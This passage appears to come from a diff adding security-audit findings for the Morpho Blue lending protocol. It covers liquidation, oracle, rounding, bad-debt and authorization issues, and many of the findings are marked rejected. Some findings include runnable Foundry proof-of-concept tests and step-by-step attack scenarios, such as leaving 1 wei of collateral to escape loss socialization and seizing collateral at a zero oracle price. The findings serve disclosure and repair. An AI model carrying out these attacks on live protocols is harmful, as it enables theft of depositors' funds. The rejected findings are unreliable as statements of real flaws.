+ morpho.liquidate(marketParams, BORROWER, 0, morpho.borrowShares(id, BORROWER), hex"");
+
+ // @audit full position has been liquidated, borrower no longer has borrow shares
+ assertEq(morpho.borrowShares(id, BORROWER), 0, "borrow shares");
+ // @audit liquidator paid off entire loan amount of borrower
+ assertEq(loanToken.balanceOf(LIQUIDATOR), amountCollateral- loanToken.balanceOf(BORROWER), "borrow shares");
+
+ vm.stopPrank();
+
+
+ }`
+
+- Mitigation
+
+Consider setting different LTV's for borrowing and liqudiation, similar to other platforms like Compound, Maker, and Aave do.
+
+
+
+
+### User will lose assets whenever he wants to withdraw max and passes his share's balance _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+For a user to withdraw max, user will pass the `shares`'s balance.
+If a user passes share balance as the code is now(i.e, rounding down during deposit and rounding up during withdrawals) the user will end up losing some assets when he wants to withdraw max and passes his share balance because assets will be rounded down [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L214)
+
+Here's a vivid scenario:
+
+User deposits 10,000 worth of assets and gets 9,990 as shares added to his positions due to rounding down of shares in the supply() [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L180)
+
+Now user wants to withdraw max, He passes his share's balance i.e 9,990 when calling the withdraw(), The problem here now is that if share's balance is passed when calling withdraw(), assets are rounded down [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L214)
+
+So user deposits 10,000 worth of assets gets 9,990 as shares, now when he attempts to max withdraw his assets, he get 9,980 worth of assets which is a loss. (_this is just an example, the loss could be bigger than this, when totalsupplyAssets and totalsupplyShares are taken into account_).
+
+
+
+**Recommendation**:
+The issue can be mitigated if the shares gotten when converting assets being deposited via supply() is rounded up instead of down.
+So when the rounded up shares is given when withdrawing max, user should have something very close to his initially deposited assets if not exactly the same amount of assets deposited
+
+
+
+### Non-existent bad debt will be distributed among all lenders during liquidation
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+ the bad Debt logic in the liquidation() doesn't check if the account has some remaining debts after liquidation before calculating bad Debt and distributing it among all lenders.
+
+Morpho Blue has a mechanism to account for and realize bad debt events, In Morpho Blue, when a liquidation leaves an account with some remaining debt and without collateral, the loss is realized and shared proportionally between all lenders
+
+
+The issue is that the logic in the liquidation() doesn't really check if there's bad Debt in the borrowers account positions, it only checks if the borrowers position's collateral == 0. [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387)
+So it assumes there's bad debt in every liquidation, **even in a liquidation where all the borrowers debts where successfully cleared.**
+
+lenders will pay for bad debts that doesn’t really exist.
+
+**Recommendation**:
+
+The issue lies in the if statement that houses the bad Debt allocation logic as it doesn't check for the existence of the bad debt
+```
+- if (position[id][borrower].collateral == 0) {} //@audit-issue
+
++ if (position[id][borrower].collateral == 0 && position[id][borrower].borrowShares != 0 ) {} //@audit-ok
+
+```
+
+
+
+### A Malicious actor can take borrows onBehalf of another user and also steal another user's collateral.
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+ malicious actor can use Morpho.setAuthorizationWithSig() to authorise himself for a user, take borrows on his account, and steal the user’s collateral.
+
+The issue lies in setAuthorizationWithSig() as it lacks access control. A malicious user could get the sigs of his victim and authorise himself for that user.
+
+Now since a malicious actor can authorise himself for another user, he will bypass the authorisation check [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L244) and could borrow while using that user as `onBehalf` [here](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L251), now the borrows will be recorded in that user's account.
+
+
+A malicious actor could also steal another user's collateral using the same attack path (i.e first calling `setAuthorizationWithSig()` to authorise himself and then call `withdrawCollateral()`).
+
+**Recommendation**:
+
+implement access control, use a whitelist and whitelist all contracts that need the function and make sure only whitelisted addresses can call it.
+
+
+ Maybe users[i.e, EOAs] should only use `setAuthorization()`.
+
+
+
+### Lack of Incentives for Small Position Liquidation, undercollateralized risk _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Severity**
+
+HIGH
+
+- **Relevant GitHub Links**
+
+https://github.com/morpho-org/morpho-blue/blob/9f4fc70a1282002b5c40eacbfcd7b4ce59956b06/src/Morpho.sol#L344
+
+- **Summary**
+
+The current implementation of the `liquidate` function in the Morpho Blue protocol lacks adequate incentives for liquidating small positions. In cases where users are undercollateralized and require liquidation to maintain the protocol's overcollateralization, the absence of attractive incentives discourages liquidators. Due to the minimal value of these accounts, the incurred gas costs often exceed the potential profits for liquidators. Consequently, there is a risk that these low-value accounts may never undergo liquidation, resulting in the accumulation of bad debt within the protocol. If left unaddressed, this could potentially lead to the protocol becoming **undercollateralized**, particularly if a significant number of small-value accounts remain underwater.
+
+- **Vulnerability Details**
+
+Inadequate incentives for liquidating small positions in the Morpho Blue protocol may lead to undercollateralization, as the current system discourages liquidators due to high gas costs and minimal potential profits.
+
+- **Impact**
+
+Accumulation of bad debt and potential undercollateralization in the Morpho Blue protocol due to the lack of incentives for liquidating small positions.
+
+
+- **Tools used**
+
+- Manual review
+
+- **Recommendations**
+
+Implement a more rewarding incentive mechanism for **liquidators**, particularly for addressing small-value accounts, to encourage active participation in the liquidation process.
+
+
+
+
+
+### Every position can become liquidatable and assets can be stolen without repayment if oracle ```price``` returns 0. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+Every position can become liquidatable and assets can be stolen without repayment if oracle ```price``` returns 0. The ```IMorpho``` interface states that ```The oracle should return a price with the correct scaling.```. A price of 0 is still a price with the correct scaling. It doesn't mention that it has to return a non-zero price. This can lead to catastrophic outcomes. (note that the MetaMorpho `ChainlinkDataFeedLib` can return 0 as a price)
+```solidity
+function getPrice(AggregatorV3Interface feed) internal view returns (uint256) {
+ if (address(feed) == address(0)) return 1;
+
+ (, int256 answer,,,) = feed.latestRoundData();
+ require(answer >= 0, ErrorsLib.NEGATIVE_ANSWER);
+
+ return uint256(answer);
+}
+```
+
+If `BASE_FEED_1.getPrice()` returns zero for example the `price()` function call will return `0`.
+```solidity
+function price() external view returns (uint256) {
+ return SCALE_FACTOR.mulDiv(
+ VAULT.getAssets(VAULT_CONVERSION_SAMPLE) * BASE_FEED_1.getPrice() * BASE_FEED_2.getPrice(),
+ QUOTE_FEED_1.getPrice() * QUOTE_FEED_2.getPrice()
+ );
+}
+```
+
+The outcome is that every position becomes instantly liquidatable
+```solidity
+function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+{
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+ return maxBorrow >= borrowed;
+}
+```
+
+Here the ```maxBorrow``` is calculated as ```(collateral * 0 / ORACLE_PRICE_SCALE) * lltv``` which always evaluates to ```0```. So any position with ```borrowed > 0``` becomes liquidatable as the ```_isHealthy``` function returns ```false```. This alone is bad as now a healthy position can become liquidatable.
+
+Additionally, an attacker can steal all the funds from the contract with the repayment.
+Let's look at the following scenario
+- Oracle fails and returns ```0``` as the price on the ```ETH/USDC``` market. An attacker notices this and tries to liquidate any position.
+- He calls liquidate on a random position with ```seizedAssets``` = collateral of the position to be liquidated. Let's say the ```seizedAssets = 10 ETH```
+- The following calculations will be made
+```solidity
+if (seizedAssets > 0) {
+ repaidAssets = seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+}
+```
+```repaidAssets``` = (10 ETH * 0 / ORACLE_PRICE_SCALE) / liquidationIncentiveFactor
+ ```repaidShares``` = 0 * totalBorrowShares / totalBorrowAssets
+
+- As we can see both will be ```0```. This means that an attacker can ```seize 10 ETH``` as collateral and repay ```repaidAssets``` of loan asset which is 0
+```solidity
+IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);
+...
+IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), repaidAssets);
+```
+- He can continue to liquidate every position and steal all of the collateral with zero repayment.
+
+https://github.com/morpho-org/morpho-blue-oracles/blob/d351d3e59b207729d785ec568ed0d2ee24498189/src/libraries/ChainlinkDataFeedLib.sol#L24
+
+https://github.com/morpho-org/morpho-blue-oracles/blob/d351d3e59b207729d785ec568ed0d2ee24498189/src/ChainlinkOracle.sol#L116-L121
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L359
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L400-L407
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L369-L372
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513-L525
+- **Recommendation**:
+Check that the price from the oracle is not 0
+```solidity
+function _isHealthy(MarketParams memory marketParams, Id id, address borrower) internal view returns (bool) {
+ if (position[id][borrower].borrowShares == 0) return true;
+
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
++ require(collateralPrice != 0, "Oracle price failure");
+
+ return _isHealthy(marketParams, id, borrower, collateralPrice);
+}
+```
+
+
+
+
+
+
+### There is no incentive to liquidate small positions _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+There is no incentive to liquidate low-value accounts such as 5$ USD value accounts because of gas costs.
+
+Liquidators liquidate users for the profit they can make. If there is no profit to be made then there will be no one to call the liquidate function.
+
+For example, an account has 6 USD worth of collateral (collateral can quickly drop and even if the user deposited 100$ of collateral it can drop by 94% very very quickly) and has 20 USDC borrowed. This user is undercollateralized and must be liquidated in order to ensure that the protocol remains overcollateralized. Because the value of the account is so low, after gas costs, liquidators will not make a profit liquidating this user. In the end, these low-value accounts will never get liquidated, leaving the protocol with bad debt and can even cause the protocol to be undercollateralized with enough small-value accounts being underwater.
+
+The protocol can be undercollateralized and leave the protocol with bad debt especially if there are a lot of positions like this.
+
+
+- **Recommendation**:
+The potential fix could be to only allow borrowing past a certain threshold.
+
+
+
+### Liquidate function vulnerable to Oracle Manipulation resulting in potential fund losses
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context**
+
+The liquidate function receives a `marketParams` struct containing the oracle address. This address is utilized to obtain the collateral price, subsequently setting `collateralPrice`. Anyone can call the liquidate function.
+
+```uint256 collateralPrice = IOracle(marketParams.oracle).price();```
+
+**Vulnerability**
+
+The issue arises from the absence of verification to ensure the oracle's association with the specific market. Consequently, an attacker could exploit this by inputting an oracle that returns a manipulated price for the asset. Also, as anyone can call this function, those inputs can be always manipulated.
+
+For instance, they might input a deceptively low price for an asset like ETH, enabling them to liquidate a borrower and acquire the assets. This is because `collateralPrice` plays a crucial role in calculating the `seizedAssets`, which are then transferred to the liquidator:
+
+```IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);```
+
+
+**Impact**
+
+This vulnerability allows attackers to manipulate asset prices via unverified oracles, leading to unfair liquidations and significant financial losses for users
+
+**Recommendations**
+
+Pass only the market ID as a parameter(instead of the `MarketParams` struct) on the liquidate function and use `idToMarketParams[id]` to access the `marketParams` data, hence the oracle provided when the market was created.
+
+```suggestion
+ MarketParams memory marketParams = idToMarketParams[id];
+ uint256 collateralPrice = IOracle(marketParams.oracle).price();
+```
+
+This way all the other functions within `liquidate` that depends on `marketParams` will also receive the correct data:
+
+``` _accrueInterest(marketParams, id);```
+
+```_isHealthy(marketParams, id, borrower, collateralPrice)```
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L355-L359
+
+
+
+### Liquidators incentivised to avoid bad debt socialization to decrease gas cost of `liquidate` for same reward
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Liquidators incentivised to avoid bad debt socialization because leaving 1 wei of collateral behind decreases the gas costs of liquidation
+
+The bad debt for a position is socialised after only when `(position[id][borrower].collateral == 0)`
+
+A liquidator can liquidate a position and leave just 1 wei of collateral behind which skips the entire code block after the `if (position[id][borrower].collateral == 0)`. As an example 1 wei of USDT is `1e-16` us cents, so the tiniest gas saving exceed the value of the liquidation.
+
+When 1 wei is left behind, the bad debt is not socialised until `liquidate` is called again. Furthermore there is a negative incentive to waste gas to call `liquidate` again on that position as the liquidation incentive is essentially `0`.
+
+Note that the leftover collateral size of the position is in no way correlated with the bad debt behind the poisition. These 1 wei collateral positions can actually have a massive bad debt. When many of these positions accumulate, the protocol can become effectively unusable, as a user would have to liquidate many seperate transactions first before borrowing without risking having bad debt immediately socialized onto their new position.
+
+**Recommendation**:
+
+Have a configurable minimum dust value for collateral that can be left behind after a partial liquidation. If the liquidation results in a collateral between `0` and `dustValue`, the liquidation should revert
+
+
+
+### Anyone can intentionally leave the bad debt on the protocol for any position by calling supplyCollateral just in time _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- **Description**:
+Anyone can intentionally leave the bad debt on the protocol for any position with minimum effort.
+
+- When a position becomes unhealthy anyone can ```liquidate``` it by calling a liquidate on that position
+- The ```Morpho Blue``` protocol has a bad debt accounting but a position has to be liquidated in full to account for bad debt. If the position is not liquidated in full the protocol is left with a ```bad debt```.
+```solidity
+function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ ...
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+
+ uint256 badDebtShares;
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+
+ ...
+
+ return (seizedAssets, repaidAssets);
+}
+```
+- Now liquidators can make a ```liquidation``` call with ```seizedAssets = position[id][borrower].collateral - 1``` to leave `bad debt` on a protocol but really don't have the incentive to do so as they participate in the protocol and leaving bad debt intentionally will eventually make a bad debt so large that users will want to exit.
+- What about an external actor who doesn't participate in the protocol but wants to grief a protocol into accumulating bad debt?
+- A bad actor can do this easily with `minimal effort`. Let's take a look.
+- There is a position with a lot of `USD` value to be liquidated and will leave bad debt once liquidated.
+- This bad debt should be accounted for if a `full liquidation` happens but a bad actor can front-run a `liquidation` call and provide `1 wei` of collateral to that position `skipping the bad debt accounting`. As we can see anyone can provide collateral for any position.
+```solidity
+function supplyCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, bytes calldata data)
+ external
+{
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ // Don't accrue interest because it's not required and it saves gas.
+
+ position[id][onBehalf].collateral += assets.toUint128();
+
+ emit EventsLib.SupplyCollateral(id, msg.sender, onBehalf, assets);
+
+ if (data.length > 0) IMorphoSupplyCollateralCallback(msg.sender).onMorphoSupplyCollateral(assets, data);
+
+ IERC20(marketParams.collateralToken).safeTransferFrom(msg.sender, address(this), assets);
+}
+```
+- Consider the following scenario
+- A user has `10 ETH collateral` in his position which should be liquidated.
+- Liquidator calls `liquidate` with `seizedAssets` as `10 ETH` to `fully liquidate` the user and account for bad debt
+- A bad actor sees that and `frontruns` the `liquidate` call with the `supplyCollateral` call for that position with a `1 wei` as the `assets` parameter.
+- Once liquidation happens it will liquidate `10 ETH` but the remaining collateral will be `1 wei` as it was provided in a frontrun call from the bad actor. This way the bad debt accounting will be skipped as the collateral of the position `is not 0`.
+- Since only `1 wei` of collateral is now left to be liquidated no one has the incentive to liquidate that position as they can't make profits. Even if somebody wants to liquidate it just to account for bad debt, a bad actor could frontrun that call again and provide 1 wei of collateral making this a never-ending cycle. A bad actor can intentionally accumulate a lot of bad debt on the protocol making it not as appealing for new users to join or for existing users to keep participating in the protocol.
+- **Recommendation**:
+Account for bad debt in partial liquidations to avoid such griefing scenarios from bad actors.
+
+
+
+
+### Morpho.sol#_accrueInterest() - feeAmount is incorrectly subtracted from the totalSupplyAssets, leading to less feeShares _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`_accrueInterest` is responsible for interest calculations in Morpho:
+```js
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+ market[id].lastUpdate = uint128(block.timestamp);
+ }
+```
+
+There is a special case where `fee != 0`, where we apply extra interest for a `feeRecipient` by adding more shares to him.
+
+Inspecting at how his shares are calculated we see the following:
+```js
+if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+```
+The comment in the function states that we subtract `feeAmount` from `totalSupplyAssets` when we calculate `feeShares` because the full interest (`interest`) includes the fee amount in its calculation, but that’s not the case.
+
+Looking at the implementation of the [AdaptiveCurveIrm](https://github.com/morpho-org/morpho-blue-irm/blob/c2b1732fc332d20a001ca505aea76bd475e95ef1/src/AdaptiveCurveIrm.sol#L117C1-L169) (I’m aware that this is out of scope, it’s for demonstration purposes), we can see that nowhere do we account for the fee in the calculation.
+
+Inspecting [wTaylorCompouned](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L38-L44) we also see that `fee` isn't accounted for anywhere here as well.
+
+The result is that the `feeRecipient` will receive less `feeShares` each time `_accrueInterest` is called.
+
+**Recommendation**:
+
+Rework the line for calculating `feeShares` to this:
+```js
+feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+```
+
+
+
+### Unsafe implementation of ownership transfer _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The current implementation of the `setOwner()` function allows for an immediate transfer of ownership within a single transaction. This approach poses a security risk as it doesn't provide any transition period or safety mechanisms. In the event of a malicious attack or accidental transfer, the contract's ownership becomes irrecoverable, potentially jeopardizing its functionality and security.
+
+**Recommendation**:
+To address this vulnerability, I propose adopting a two-step ownership transfer model facilitated by OpenZeppelin's Ownable2Step library. This library introduces a safer mechanism for ownership transfer by implementing a pending owner designation. The process involves the following steps:
+
+1. Initiating Ownership Transfer: The new owner is proposed through a function call, initiating a change in ownership status.
+
+2. Pending Owner Confirmation: The proposed new owner needs to accept this pending ownership role within a specified timeframe. This creates a transition period during which the previous owner retains the ability to reclaim ownership if necessary.
+
+**Impact of Recommendation**:
+Implementing the Ownable2Step library mitigates the risk associated with the current one-step ownership transfer method. The impact of this enhancement includes:
+
+1. Enhanced Security: Introducing a pending ownership stage adds an additional layer of security, preventing immediate and irreversible ownership changes.
+
+2. Malicious Attack Resistance: In case of a malicious attack attempting to transfer ownership, the two-step process provides a window for intervention, allowing the previous owner to halt the transfer and maintain control over the contract.
+
+3. Accidental Transfers Prevention: Reduces the likelihood of accidental ownership transfers, as it requires explicit confirmation from the pending owner within a defined timeframe.
+
+
+
+### Lenders can escape socialization of losses by abusing partial liquidation _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L387-L387](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387-L387)
+
+- Description
+
+The first lender/supplier in a market who notices an unhealthy borrow position, that would incur bad debt, could do the following within 1 transaction to protect themselves from socialized losses caused by the bad debt:
+1. "Fully" liquidate the position except for `1 wei`. Due to [L387](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387) in `Morpho.liquidate(...)`, the socialization of bad debt will **not** be triggered. As a result of the liquidation incentive, the lender can easily sell the seized collateral at market price to get back the loan tokens which were required for repayment during liquidation. *This step could be implemented using a flash loan.*
+2. Withdraw all the initially supplied loan tokens from the market. As long as `market[id].totalBorrowAssets <= market[id].totalSupplyAssets`, lenders can withdraw without losses. All other lenders are left behind with losses that should have been socialized among all lenders in the first place.
+
+
+- Impact
+
+A lender can abuse partial liquidation to permanently escape from socialization of losses and leave other lenders behind with the bad debt.
+
+- Proof of concept
+
+The following is a step-by-step example as well as a runnable PoC that proves the above claims for the case of 2 lenders where one of them can withdraw without any losses.
+
+Add the test case below to `morpho-blue/test/forge/integration/LiquidateIntegrationTest.sol` and run it with `yarn test:forge:integration -vv --match-test testEscapeLossSocialization`:
+
+```solidity
+function testEscapeLossSocialization() public {
+ // Prepare 2nd supplier account
+ address OTHER_SUPPLIER = makeAddr("Other Supplier");
+ vm.prank(OTHER_SUPPLIER);
+ loanToken.approve(address(morpho), type(uint256).max);
+
+ // 1. Create market with 80% LLTV
+ // Initial collateral to loan token price is 1:1
+ _setLltv(0.80 ether);
+ oracle.setPrice(ORACLE_PRICE_SCALE);
+
+ // 2. Borrower: Supply 100 collateral tokens
+ uint256 amountCollateral = 100 ether;
+ collateralToken.setBalance(BORROWER, amountCollateral);
+ vm.prank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+
+ // 3. Supplier 1 & 2: Supply 80 loan tokens (40 tokens each)
+ uint256 maxAmountBorrow = 80 ether; // because of 80% LLTV
+ uint256 amountLoanSupply = maxAmountBorrow / 2;
+ loanToken.setBalance(SUPPLIER, amountLoanSupply);
+ loanToken.setBalance(OTHER_SUPPLIER, amountLoanSupply);
+ vm.prank(SUPPLIER);
+ morpho.supply(marketParams, amountLoanSupply, 0, SUPPLIER, hex"");
+ vm.prank(OTHER_SUPPLIER);
+ morpho.supply(marketParams, amountLoanSupply, 0, OTHER_SUPPLIER, hex"");
+
+ // 4. Borrower: Borrow 80 loan tokens
+ vm.prank(BORROWER);
+ morpho.borrow(marketParams, maxAmountBorrow, 0, BORROWER, BORROWER);
+
+ // 5. Collateral to loan token price changes to 1:2
+ // At this point 200 instead of 100 collateral tokens would be needed
+ oracle.setPrice(ORACLE_PRICE_SCALE / 2);
+
+ // 6. Supplier 1:
+ // * "Fully" liquidate unhealthy position except for 1 wei
+ // --> partial liquidation, no socialization of losses
+ // * Withdraw 40 loan tokens (initial supply)
+ // --> no losses
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, maxAmountBorrow);
+ morpho.liquidate(marketParams, BORROWER, amountCollateral - 1, 0, hex"");
+ morpho.withdraw(marketParams, amountLoanSupply, 0, SUPPLIER, SUPPLIER);
+
+ // 7. Supplier 2: Failure to withdraw 40 loan tokens (initial supply)
+ // --> taking losses of both suppliers
+ vm.startPrank(OTHER_SUPPLIER);
+ vm.expectRevert(bytes(ErrorsLib.INSUFFICIENT_LIQUIDITY));
+ morpho.withdraw(marketParams, amountLoanSupply, 0, OTHER_SUPPLIER, OTHER_SUPPLIER);
+
+ // Re-trying after full liquidation doesn't help either
+ loanToken.setBalance(OTHER_SUPPLIER, maxAmountBorrow);
+ morpho.liquidate(marketParams, BORROWER, 1, 0, hex"");
+ vm.expectRevert(stdError.arithmeticError);
+ morpho.withdraw(marketParams, amountLoanSupply, 0, OTHER_SUPPLIER, OTHER_SUPPLIER);
+}
+```
+
+- Recommendation
+
+* Simple mitigation: Only allow full liquidations in case bad debt could be left. This way, losses are socialized immediately.
+* Complex mitigation: Introduce a concept of aliquot socialization of losses on partial liquidation of bad debt.
+
+
+
+### It is Impossible to Set Total Borrow Caps on Morpho Blue and Any Protocol Integrated with it _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho blue has a minimalist/unopinionated design which allows the user or protocols built on top to decide configurations and decide features.
+
+However the absense of a max deposit limit makes it impossible for any protocol built on top to defend against this well known market manipulation attack:
+
+Scenario: There is `$10M` loan token in Morpho blue
+Use `$10M` to manipulate the price on all exchanges such that the oracle price returns a price far higher exchange rate for collateral token to loan token.
+Borrow the entire avaliable loan token at discounted rate. Passes `isHealthy` check.
+When the price returns in normal, there is a massive bad debt in the account. The protocol has been drained.
+
+Furthermore, note that the bad debt is socialized only after liquidation. The attacker can withdraw their collateral deposit without getting any of the bad debt socialised to them.
+
+Note that the oracle is functioning as intended - returning an aggregation of prices from different sources.
+
+This attack sequence has been executed profitably for example on Mango Markets. When the deposits into Morpho become a large relative to the liquidity against exchanges, this will always be an issue.
+
+The design actually enforces that deposit/borrow caps can never be enforced on a protocol built on top of Morpho because an attacker can always deposit or borrow unlimited assets directly into the underlying Morpho protocol.
+
+
+**Recommendation**:
+
+Allow admins the OPTION but not obligation to set borrow or supply caps. This allows them to enforce security defences against large-capital oracle manipulation / bad debt attacks
+
+Restricting the deposits and borrows doesn't really make the permissionlessness of the protocol and actually makes it more flexibile and unopniated. Limits can be set if an admin wishes, but they are not forced to.
+
+
+
+### Fee-on-transfer/Rebase tokens break the accounting _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Impact
+
+When users create markets from fee-on-transfer or rebase tokens, the accounting of tokens is compromised, despite the strict separation of tokens by markets.
+
+- Detail
+
+The issue stems from the usage of **ERC20.safeTransferFrom** in various sections of **Morpho.sol** to pull assets from users:
+
+- [supply](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191)
+- [repay](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L292)
+- [supplyCollateral](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L316)
+- [liquidate](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L407)
+- [flashLoan](https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L422)
+
+The problem arises because the accounting assumes the receipt of the entire token amount. However, in the case of fee-on-transfer tokens, this assumption is incorrect due to transaction fees (e.g., a 1% fee). Consequently, when users deposit 100 tokens, the smart contract calculates with 100 tokens, but only 99 are actually deposited. This discrepancy leads to withdrawal issues, as Morpho attempts to return the full 100 tokens, but only 99 are available. This can cause disruptions, especially in scenarios with multiple depositors and markets.
+
+Rebase tokens present a distinct challenge. They can alter the total supply at any time, and a significant problem arises when the total supply decreases. Consider a scenario where two depositors each contribute 100 tokens. If the total supply drops overnight from 200 to 100 tokens, the faster user can withdraw their entire deposit, leaving the second user with a potential loss. When the total supply later increases back to 200, the first user profits by 100%.
+
+- Recommended Mitigation Steps
+
+For fee-on-transfer tokens, a straightforward solution involves transferring tokens from the user before the calculations. By caching the balance before and after the transfer, the correct token amount transferred from the user can be determined. Don't forget about reentrancy guards.
+
+Addressing the issue with rebase tokens is more complex due to the presence of multiple markets in one contract. While tracking market shares based on the supply of rebase tokens is a theoretical solution, it introduces unwanted complexity. As an alternative, it is advisable to inform users about the challenges associated with rebase tokens and advise against their usage.
+
+
+
+
+### Full liquidation can always be griefed by front-running the operations with dust liquidation _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
